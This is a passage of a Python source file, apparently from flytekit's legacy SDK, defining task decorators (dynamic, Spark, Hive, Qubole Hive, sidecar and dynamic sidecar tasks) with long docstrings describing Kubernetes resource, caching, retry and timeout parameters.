storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param dict[Text,Text] environment: [optional] environment variables to set when executing this task. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param cls: This can be used to override the task implementation with a user-defined extension. The class provided must be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. A user can use this to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ def wrapper(fn): return (cls or _sdk_runnable_tasks.SdkRunnableTask)( task_function=fn, task_type=_common_constants.SdkTaskType.PYTHON_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), environment=environment, cache_serializable=cache_serialize, custom={}, ) if _task_function: return wrapper(_task_function) else: return wrapper def dynamic_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, allowed_failure_ratio=None, max_concurrency=None, environment=None, cache_serialize=False, cls=None, ): """ Decorator to create a custom dynamic task definition. Dynamic tasks should be used to split up work into an arbitrary number of parallel sub-tasks, or workflows. .. code-block:: python @outputs(out=Types.Integer) @python_task def my_sub_task(wf_params, out): out.set(randint()) @outputs(out=[Types.Integer]) @dynamic_task def my_task(wf_params, out): out_list = [] for i in xrange(100): out_list.append(my_sub_task().outputs.out) out.set(out_list) .. note:: All outputs of a batch task must be a list. This is because the individual outputs of sub-tasks should be appended into a list. There cannot be aggregation of outputs done in this task. To accomplish aggregation, it is recommended that a python_task take the outputs of this task as input and do the necessary work. If a sub-task does not contribute an output, it must be yielded from the task with the `yield` keyword or returned from the task in a list. If this isn't done, the sub-task will not be executed. :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.sdk.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: [optional] boolean describing if the task is interruptible. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param float allowed_failure_ratio: [optional] float value describing the ratio of sub-tasks that may fail before the master batch task considers itself a failure. By default, the value is 0 so if any task fails, the master batch task will be marked a failure. If specified, the value must be between 0 and 1 inclusive. In the event a non-zero value is specified, downstream tasks must be able to accept None values as outputs from individual sub-tasks because the output values will be set to None for any sub-task that fails. :param int max_concurrency: [optional] integer value describing the maximum number of tasks to run concurrently. This is a stand-in pending better concurrency controls for special use-cases. The existence of this parameter is not guaranteed between versions and therefore it is NOT recommended that it be used. :param dict[Text,Text] environment: [optional] environment variables to set when executing this task. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param cls: This can be used to override the task implementation with a user-defined extension. The class provided must be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. Generally, it should be a subclass of flytekit.common.tasks.sdk_dynamic.SdkDynamicTask. A user can use this parameter to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkDynamicTask """ def wrapper(fn): return (cls or _sdk_dynamic.SdkDynamicTask)( task_function=fn, task_type=_common_constants.SdkTaskType.DYNAMIC_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), allowed_failure_ratio=allowed_failure_ratio, max_concurrency=max_concurrency, environment=environment or {}, cache_serializable=cache_serialize, custom={}, ) if _task_function: return wrapper(_task_function) else: return wrapper def spark_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", cache=False, timeout=None, spark_conf=None, hadoop_conf=None, environment=None, cache_serialize=False, cls=None, ): """ Decorator to create a spark task. This task will connect to a Spark cluster, configure the environment, and then execute the code within the _task_function as the Spark driver program. .. code-block:: python @inputs(a=Types.Integer) @spark_task( spark_conf={ 'spark.executor.cores': '7', 'spark.executor.instances': '31', 'spark.executor.memory': '32G' } ) def sparky(wf_params, spark_context, a): pass :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed for wrapped task functions. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.sdk.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param dict[Text,Text] spark_conf: A definition of key-value pairs for spark config for the job. :param dict[Text,Text] hadoop_conf: A definition of key-value pairs for hadoop config for the job. :param dict[Text,Text] environment: [optional] environment variables to set when executing this task. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param cls: This can be used to override the task implementation with a user-defined extension. The class provided must be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. Generally, it should be a subclass of flytekit.common.tasks.spark_task.SdkSparkTask. A user can use this parameter to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ def wrapper(fn): return (cls or _sdk_spark_tasks.SdkSparkTask)( task_function=fn, task_type=_common_constants.SdkTaskType.SPARK_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, spark_type=_spark_type.PYTHON, deprecated=deprecated, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), spark_conf=spark_conf or {}, hadoop_conf=hadoop_conf or {}, environment=environment or {}, cache_serializable=cache_serialize, ) if _task_function: return wrapper(_task_function) else: return wrapper def generic_spark_task( spark_type, main_class, main_application_file, cache_version="", retries=0, interruptible=None, inputs=None, deprecated="", cache=False, timeout=None, spark_conf=None, hadoop_conf=None, environment=None, cache_serialize=False, ): """ Create a generic spark task. This task will connect to a Spark cluster, configure the environment, and then execute the mainClass code as the Spark driver program. """ return _sdk_generic_spark_task.SdkGenericSparkTask( task_type=_common_constants.SdkTaskType.SPARK_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), spark_type=spark_type, task_inputs=inputs, main_class=main_class or "", main_application_file=main_application_file or "", spark_conf=spark_conf or {}, hadoop_conf=hadoop_conf or {}, environment=environment or {}, cache_serializable=cache_serialize, ) def qubole_spark_task(*args, **kwargs): """ :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ raise NotImplementedError("Qubole Spark Task is currently not supported in Flyte.") def hive_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, environment=None, cache_serialize=False, cls=None, ): """ Decorator to create a hive task. This task should output a list of hive queries which are run on a hive cluster. This is a 2 step task: 1. Generator step runs in the user container and outputs a list of queries. 2. The list of queries produced in step1 is then submitted to Hive Cluster. The queries are monitored by Flyte Backend for completion. Container properties(cpu, gpu, memory, etc) set on this task are only used in step1 above. .. code-block:: python @inputs(a=Types.Integer) @hive_task( cache_version='1', ) def test_hive(wf_params, a): return [ "SELECT * FROM users_table WHERE user_id=4", "INSERT INTO users_table VALUES ("user", 5, 4)" ] :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed for wrapped task functions. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.common.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: [optional] boolean describing if task is interruptible. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param dict[Text,Text] environment: Environment variables to set for the execution of the query-generating container. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param cls: This can be used to override the task implementation with a user-defined extension. The class provided should be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. Generally, it should be a subclass of flytekit.common.tasks.hive_task.SdkHiveTask. A user can use this to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkHiveTask """ def wrapper(fn): return (cls or _sdk_hive_tasks.SdkHiveTask)( task_function=fn, task_type=_common_constants.SdkTaskType.BATCH_HIVE_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), cluster_label="", tags=[], environment=environment or {}, cache_serializable=cache_serialize, ) if _task_function: return wrapper(_task_function) else: return wrapper def qubole_hive_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, cluster_label=None, tags=None, environment=None, cache_serialize=False, cls=None, ): """ Decorator to create a qubole hive task. This is hive task runs on a qubole cluster, and therefore allows users to pass cluster labels and qubole query tags. Similar to hive task, this task should output a list of hive queries that are run on a hive cluster. Similar to a hive task, this is also a 2 step task where step2 is run on a qubole hive cluster. Therefore, users can specify qubole cluster_label and query tags on this task. .. code-block:: python @inputs(a=Types.Integer) @qubole_hive_task( cache_version='1', cluster_label='cluster_label', tags=['tag1'], ) def test_hive(wf_params, a): return [ "SELECT * FROM users_table WHERE user_id=4", "INSERT INTO users_table VALUES ("user", 5, 4)" ] :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed for wrapped task functions. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.common.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: [optional] boolean describing if task is interruptible. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param cluster_label: The qubole cluster label where the query is to be executed :param list[Text] tags: User defined tags(key-value pairs) defined by the user for the queries. These tags are passed to Qubole. :param dict[Text,Text] environment: Environment variables to set for the execution of the query-generating container. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param cls: This can be used to override the task implementation with a user-defined extension. The class provided should be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. Generally, it should be a subclass of flytekit.common.tasks.hive_task.SdkHiveTask. A user can use this to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkHiveTask """ def wrapper(fn): return (cls or _sdk_hive_tasks.SdkHiveTask)( task_function=fn, task_type=_common_constants.SdkTaskType.BATCH_HIVE_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), cluster_label=cluster_label or "", tags=tags or [], environment=environment or {}, cache_serializable=cache_serialize, ) # This is syntactic-sugar, so that when calling this decorator without args, you can either # do it with () or without any () if _task_function: return wrapper(_task_function) else: return wrapper def sidecar_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, environment=None, cache_serialize=False, pod_spec=None, primary_container_name=None, annotations=None, labels=None, cls=None, ): """ Decorator to create a Sidecar Task definition. This task will execute the primary task alongside the specified kubernetes PodSpec. Custom primary task container attributes can be defined in the PodSpec by defining a container whose name matches the primary_container_name. These container attributes will be applied to the container brought up to execute the primary task definition. .. code-block:: python def generate_pod_spec_for_task(): pod_spec = generated_pb2.PodSpec() secondary_container = generated_pb2.Container( name="secondary", image="alpine", ) secondary_container.command.extend(["/bin/sh"]) secondary_container.args.extend(["-c", "echo hi sidecar world > /data/message.txt"]) shared_volume_mount = generated_pb2.VolumeMount( name="shared-data", mountPath="/data", ) secondary_container.volumeMounts.extend([shared_volume_mount]) primary_container = generated_pb2.Container(name="primary") primary_container.volumeMounts.extend([shared_volume_mount]) pod_spec.volumes.extend([generated_pb2.Volume( name="shared-data", volumeSource=generated_pb2.VolumeSource( emptyDir=generated_pb2.EmptyDirVolumeSource( medium="Memory", ) ) )]) pod_spec.containers.extend([primary_container, secondary_container]) return pod_spec @sidecar_task( pod_spec=generate_pod_spec_for_task(), primary_container_name="primary", annotations={"key": "value"}, labels={"key": "value"}, ) def a_sidecar_task(wfparams): while not os.path.isfile('/data/message.txt'): time.sleep(5) :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed for wrapped task functions. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:ex:`flytekit.sdk.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: Specify whether task is interruptible :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. TODO: !!! .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. TODO: !!! .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be discoverable and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param dict[Text,Text] environment: [optional] environment variables to set when executing this task. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param k8s.io.api.core.v1.generated_pb2.PodSpec pod_spec: [optional] PodSpec to bring up alongside task execution. :param Text primary_container_name: primary container to monitor for the duration of the task. :param dict[Text, Text] annotations: [optional] kubernetes annotations :param dict[Text, Text] labels: [optional] kubernetes labels :param cls: This can be used to override the task implementation with a user-defined extension. The class provided must be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. A user can use this to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sdk_runnable.SdkRunnableTask """ def wrapper(fn): return (cls or _sdk_sidecar_tasks.SdkSidecarTask)( task_function=fn, task_type=_common_constants.SdkTaskType.SIDECAR_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), environment=environment, cache_serializable=cache_serialize, pod_spec=pod_spec, primary_container_name=primary_container_name, annotations=annotations, labels=labels, ) if _task_function: return wrapper(_task_function) else: return wrapper def dynamic_sidecar_task( _task_function=None, cache_version="", retries=0, interruptible=None, deprecated="", storage_request=None, cpu_request=None, gpu_request=None, memory_request=None, storage_limit=None, cpu_limit=None, gpu_limit=None, memory_limit=None, cache=False, timeout=None, allowed_failure_ratio=None, max_concurrency=None, environment=None, cache_serialize=False, pod_spec=None, primary_container_name=None, annotations=None, labels=None, cls=None, ): """ Decorator to create a custom dynamic sidecar task definition. Dynamic tasks should be used to split up work into an arbitrary number of parallel sub-tasks, or workflows. This task will execute the primary task alongside the specified kubernetes PodSpec. Custom primary task container attributes can be defined in the PodSpec by defining a container whose name matches the primary_container_name. These container attributes will be applied to the container brought up to execute the primary task definition. .. code-block:: python def generate_pod_spec_for_task(): pod_spec = generated_pb2.PodSpec() secondary_container = generated_pb2.Container( name="secondary", image="alpine", ) secondary_container.command.extend(["/bin/sh"]) secondary_container.args.extend(["-c", "echo hi sidecar world > /data/message.txt"]) shared_volume_mount = generated_pb2.VolumeMount( name="shared-data", mountPath="/data", ) secondary_container.volumeMounts.extend([shared_volume_mount]) primary_container = generated_pb2.Container(name="primary") primary_container.volumeMounts.extend([shared_volume_mount]) pod_spec.volumes.extend([generated_pb2.Volume( name="shared-data", volumeSource=generated_pb2.VolumeSource( emptyDir=generated_pb2.EmptyDirVolumeSource( medium="Memory", ) ) )]) pod_spec.containers.extend([primary_container, secondary_container]) return pod_spec @outputs(out=Types.Integer) @python_task def my_sub_task(wf_params, out): out.set(randint()) @outputs(out=[Types.Integer]) @dynamic_sidecar_task( pod_spec=generate_pod_spec_for_task(), primary_container_name="primary", annotations={"a": "a"}, labels={"b": "b"}, ) def my_task(wf_params, out): out_list = [] for i in xrange(100): out_list.append(my_sub_task().outputs.out) out.set(out_list) .. note:: All outputs of a batch task must be a list. This is because the individual outputs of sub-tasks should be appended into a list. There cannot be aggregation of outputs done in this task. To accomplish aggregation, it is recommended that a python_task take the outputs of this task as input and do the necessary work. If a sub-task does not contribute an output, it must be yielded from the task with the `yield` keyword or returned from the task in a list. If this isn't done, the sub-task will not be executed. :param _task_function: this is the decorated method and shouldn't be declared explicitly. The function must take a first argument, and then named arguments matching those defined in @inputs and @outputs. No keyword arguments are allowed. :param Text cache_version: [optional] string representing logical version for discovery. This field should be updated whenever the underlying algorithm changes. .. note:: This argument is required to be a non-empty string if `cache` is True. :param int retries: [optional] integer determining number of times task can be retried on :py:exc:`flytekit.sdk.exceptions.RecoverableException` or transient platform failures. Defaults to 0. .. note:: If retries > 0, the task must be able to recover from any remote state created within the user code. It is strongly recommended that tasks are written to be idempotent. :param bool interruptible: [optional] boolean describing if the task is interruptible. :param Text deprecated: [optional] string that should be provided if this task is deprecated. The string will be logged as a warning so it should contain information regarding how to update to a newer task. :param Text storage_request: [optional] Kubernetes resource string for lower-bound of disk storage space for the task to run. Default is set by platform-level configuration. .. note:: This is currently not supported by the platform. :param Text cpu_request: [optional] Kubernetes resource string for lower-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text gpu_request: [optional] Kubernetes resource string for lower-bound of desired GPUs. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text memory_request: [optional] Kubernetes resource string for lower-bound of physical memory necessary for the task to execute. Default is set by platform-level configuration. TODO: Add links to resource string documentation for Kubernetes :param Text storage_limit: [optional] Kubernetes resource string for upper-bound of disk storage space for the task to run. This amount is not guaranteed! If not specified, it is set equal to storage_request. .. note:: This is currently not supported by the platform. :param Text cpu_limit: [optional] Kubernetes resource string for upper-bound of cores for the task to execute. This can be set to a fractional portion of a CPU. This amount is not guaranteed! If not specified, it is set equal to cpu_request. :param Text gpu_limit: [optional] Kubernetes resource string for upper-bound of desired GPUs. This amount is not guaranteed! If not specified, it is set equal to gpu_request. :param Text memory_limit: [optional] Kubernetes resource string for upper-bound of physical memory necessary for the task to execute. This amount is not guaranteed! If not specified, it is set equal to memory_request. :param bool cache: [optional] boolean describing if the outputs of this task should be cached and re-usable. :param datetime.timedelta timeout: [optional] describes how long the task should be allowed to run at max before triggering a retry (if retries are enabled). By default, tasks are allowed to run indefinitely. If a null timedelta is passed (i.e. timedelta(seconds=0)), the task will not timeout. :param float allowed_failure_ratio: [optional] float value describing the ratio of sub-tasks that may fail before the master batch task considers itself a failure. By default, the value is 0 so if any task fails, the master batch task will be marked a failure. If specified, the value must be between 0 and 1 inclusive. In the event a non-zero value is specified, downstream tasks must be able to accept None values as outputs from individual sub-tasks because the output values will be set to None for any sub-task that fails. :param int max_concurrency: [optional] integer value describing the maximum number of tasks to run concurrently. This is a stand-in pending better concurrency controls for special use-cases. The existence of this parameter is not guaranteed between versions and therefore it is NOT recommended that it be used. :param dict[Text,Text] environment: [optional] environment variables to set when executing this task. :param bool cache_serialize: [optional] boolean describing if instances of this cachable task should be executed in serial. This means only a single instances executes and other concurrent executions wait for it to complete and reuse the cached outputs. :param k8s.io.api.core.v1.generated_pb2.PodSpec pod_spec: PodSpec to bring up alongside task execution. :param Text primary_container_name: primary container to monitor for the duration of the task. :param dict[Text, Text] annotations: [optional] kubernetes annotations :param dict[Text, Text] labels: [optional] kubernetes labels :param cls: This can be used to override the task implementation with a user-defined extension. The class provided must be a subclass of flytekit.common.tasks.sdk_runnable.SdkRunnableTask. Generally, it should be a subclass of flytekit.common.tasks.sidecar_Task.SdkDynamicSidecarTask. A user can use this parameter to inject bespoke logic into the base Flyte programming model. :rtype: flytekit.common.tasks.sidecar_Task.SdkDynamicSidecarTask """ def wrapper(fn): return (cls or _sdk_sidecar_tasks.SdkDynamicSidecarTask)( task_function=fn, task_type=_common_constants.SdkTaskType.SIDECAR_TASK, discovery_version=cache_version, retries=retries, interruptible=interruptible, deprecated=deprecated, storage_request=storage_request, cpu_request=cpu_request, gpu_request=gpu_request, memory_request=memory_request, storage_limit=storage_limit, cpu_limit=cpu_limit, gpu_limit=gpu_limit, memory_limit=memory_limit, discoverable=cache, timeout=timeout or _datetime.timedelta(seconds=0), allowed_failure_ratio=allowed_failure_ratio, 